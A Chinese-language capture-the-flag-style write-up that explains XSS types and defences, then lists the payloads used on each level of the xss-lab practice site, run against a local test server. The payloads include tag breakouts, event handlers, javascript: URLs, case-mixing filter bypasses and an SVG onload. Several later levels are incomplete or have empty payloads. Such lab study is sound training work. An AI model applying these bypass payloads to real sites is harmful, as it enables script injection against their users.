XSS漏洞攻击报告
Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。一般XSS可以分为如下几种常见类型:
1.反射性XSS;
2.存储型XSS;
3.DOM型XSS;
XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。
XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。
形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:
输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;
输出转义:根据输出点的位置对输出到前端的内容进行适当转义;
环境
服务器win7:192.168.188.132
攻击机win10:192.168.188.1
这次我们使用xss-lab
第一关
Payload: http://192.168.188.132/xss/level1.php?name=<script>alert(1)</script>
第二关
这次就不行了
我们判断前有”的标记前面加上”>就可以执行了
Payload: http://192.168.188.132/xss/level1.php?name=”><script>alert(1)</script>
第三关
用第二关的payload去试一下
不行
没有当成js来执行
可以使用事件来执行
Payload=‘onmousemove=’javascript:alert(1)’
第四关
在第三关的基础上变成””就行了
Payload = "onclick ='javascript:alert(1)
第五关
发现过滤了
我们可以构造一个新的标签
Pyload="></input><a href='javascript:alert(1)'>asd</a>
第六关
Pyload="></input><a href='javascript:alert(1)'>asd</a>
第七关
发现了过滤
Payload =1"><ScscriptRipt>alert(1)</ScscriptRipt>
第八关
发现了过滤
使用union编码进行一个转义
Payload=javascript:alert(1)
第九关
Payload=javascript:alert(1)//http://www.baidu.com
显示连接不合法,应该是对url进行判断
第十关
发现了三个input
Payload= &t_sort=" type='text' οnclick='javascript:alert(1)'>//
第11关
这一关要用bp
Payload=
第12关
抓包发现是这个
把user-agent修改
第13关
这次就应该是改cookie
结果
第十四关
有问题
第十五关
是包含外部文件的我们可以使用第一关的代码
第十六关
过滤先是把它小写
Payload =<svg%0Aοnlοad=alert(1)>